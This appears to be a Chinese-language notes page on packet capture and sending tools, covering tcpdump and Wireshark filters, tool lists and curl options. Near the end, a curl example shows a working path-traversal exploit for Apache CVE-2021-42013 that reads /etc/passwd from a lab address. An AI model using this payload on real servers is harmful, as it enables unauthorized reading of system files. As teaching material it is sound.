跳至主要內容

抓包发包

大约 5 分钟

抓包发包


常用抓包工具

常用抓包工具特点
Wireshark通用抓包工具,简单易用,开源免费,具有强大的分析能力
TcpdumpLinux,抓包功能强大,命令行工具,保存的文件是二进制
WindumpWindows的Tcpdump工具
TsharkWireshark的Linux命令行工具
Sniffer支持协议解析;网络活动监视;专家分析系统(Expert )。Sniffer Portable具有超强的专家分析能力,价格昂贵。
FidderHttp代理,它能记录所有客户端和服务器的Http和Https请求响应
Charles设置代理抓取http包,MAC上对Charles支持更好
OmniPeek更适用于无线网络、语音等技术
FirebugWeb调试工具,集成在Internet Explorer工具栏
HttpWatchWeb调试工具,网页浏览器Mozilla Firefox下的一款开发类插件
......

TCPDUMP

Linux,抓包功能强大,命令行工具,保存的文件是二进制, cat 和 vim 无法打开

  • 下载到本地使用wireshark界面网络分析工具进行网络包分析
  • tcpdump本身的命令去读取
apt list | grep tcpdump

帮助

tcpdump --help
man tcpdump

语法

https://tonydeng.github.io/sdn-handbook/linux/tcpdump.html


Capture Filter 语法(BPF)

tcpdump -nn -i eth0 tcp and host 192.168.1.163 and port 80
  • -nn 中, 第一个 n 表示以 IP 地址的方式显示主机名, 第二个 n 表示以端口数字的形式代替服务名
tcpdump -nn -vs0 -i eth0 -c 100 -w 1.pcap
  • -vs0 表示不限制包的大小

# 常用抓包命令, 抓取 eth1 网卡上和 host xxx 相互通信的流量
tcpdump -nn -vv -i eth1 -w xxx.pcap host xxx

Wireshark

安装相关

WinPcap · Wiki · Wireshark Foundation / wireshark · GitLabopen in new window


安装的时候会提示选择 npcap 还是 winpcap, 需要注意的是 winpcap 提供 win95 - win8 的支持, npcap 提供 win7-win11 的支持


使用相关

Capture Filter 语法

udp dst port 4569	# 显示目的UDP端口为4569的封包。
ip src host 192.168.4.7	# 显示来源IP地址为192.168.4.7的封包。
host 192.168.4.7	# 显示目的或来源IP地址为192.168.4.7的封包。
src portrange 2000-5000	# 显示来源为TCP或UDP,并且端口在2000~5000范围内的封包。
not icmp	# 显示除icmp以外的封包。
src host 172.17.12.1 and not dst net 192.168.2.0/24	# 显示来源IP地址为172.17.12.1,但目的地址不是192.168.2.0/24的封包。
(src host 10.4.1.12 or src net 10.6.0.0/16) and tcp dst portrange 200-10000 and dst net 10.0.0.0/8 # 显示来源IP为10.4.1.12或者来源网络为10.6.0.0/16,目的地TCP端口号在200至10000之间,并且目的位于网络10.0.0.0/8内的所有封包

常用发包工具

报文回放:(模拟的)

  • TCPREPLAY
  • Xcap
  • Scapy

攻击软件︰(模拟的)

  • Hping3
  • NetCat
  • sendip
  • Nmap
  • NetStress - http/dns/udp flood

客户端/服务器︰(真实的)

  • 浏览器 – http/https/ftp client
  • wget/curl - http/https 抓取
  • cmd和terminal - ftp/telnet client
  • 3CDaemon - ftp/tftp/syslog Server
  • Vsftpd - ftp Server
  • Apache/Nginx - http/https Server
  • Rsyslogd - syslog Server
  • tftp/tftp-server ; tftp-hpa/tftpd-hpa - tftp Server
  • sendmail/postfix - Mail Server
  • Windows Server

XCAP

需要先装 winpcap4.1.3 然后再安装 XCAP

XCAP是一个免费的网络发包工具,可以构造和发送常用的网络报文,如ARP、UDP、ICMP等。

  • 新建Packet Group
  • 新建报文名称

curl

curl 的用法指南 - 阮一峰的网络日志 (ruanyifeng.com)open in new window

Curl Cookbook (catonmat.net)open in new window

curl 的使用,参数大全 - 那个白熊 - 博客园 (cnblogs.com)open in new window

curl(Client URL) 用于请求 Web 服务器, 用的熟练的话完全可以取代 Postman 这类图形界面工具

不带有任何参数时,curl 就是发出 GET 请求。

curl https://www.example.com

image-20221229105323183

image-20230101204931253


-A

-A参数指定客户端的用户代理标头,即User-Agent。curl 的默认用户代理字符串是curl/[version]

curl -A 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' https://www.example.com

image-20230101204949059

也可以使用 -A '' 来移出 User-Agent 标头

或者使用 -H 'User-Agent: xxx' 来自定义 User-Agent


-b

-b参数用来向服务器发送 Cookie。

curl -b 'foo=bar' https://www.example.com

如上命令会向服务器发送一个名为 foo 值为 bar 的 cookie

发送多个 cookie:

curl -b 'foo1=bar;foo2=bar2' https://www.example.com

读取本地文件发送 cookie

curl -b cookies.txt https://www.example.com

可以结合 -c 看下


-c

-c参数将服务器设置的 Cookie 写入一个文件。

curl -c cookies.txt https://www.baidu.com

上面命令将服务器的 HTTP 回应所设置 Cookie 写入文本文件cookies.txt

image-20230101205003029


-d

-d参数用于发送 POST 请求的数据体。

curl -d'login=emma&password=123'-X POST https://www.example.com
# 或者
curl -d 'login=emma' -d 'password=123' -X POST https://www.example.com

使用-d参数以后,HTTP 请求会自动加上标头Content-Type : application/x-www-form-urlencoded。并且会自动将请求转为 POST 方法,因此可以省略-X POST

-d参数可以读取本地文本文件的数据,向服务器发送。

curl -d '@data.txt' https://google.com/login

上面命令读取data.txt文件的内容,作为数据体向服务器发送。


-v

-v参数输出通信的整个过程,用于调试。

curl -v https://www.example.com

image-20230102010209089

image-20230102010255652

--trace参数也可以用于调试,还会输出原始的二进制数据。

curl --trace - https://www.example.com

image-20230102010325479

......

image-20230102010347548


--path-as-is

Do not squash .. sequences in URL path

不压缩 URL path 中的 .. 序列, 在做目录遍历的时候会用到

比如 **Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013) **

如果直接发明文的 .. 且不用 --path-as-is 的话就会把 ../ 全丢掉

curl -v http://192.168.2.31:8080/icons/../../../../../../../etc/passwd

image-20230102004413573

正确的利用方式:

curl -v --path-as-is http://192.168.2.31:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

image-20230101220853878

使用了 -v参数输出通信的整个过程,用于调试。又使用了 --path-as-is 从而不压缩 .. 序列

image-20230102003813664

如果不使用 --path-as-is

image-20230102004636433

image-20230102004028870

与之前一样, 可以利用成功, 流量也一致, 说明 --path-as-is 只对明文的 .. 生效, 编了码的话就没必要再加该参数了


Tcpreplay

# 安装
apt install tcpreplay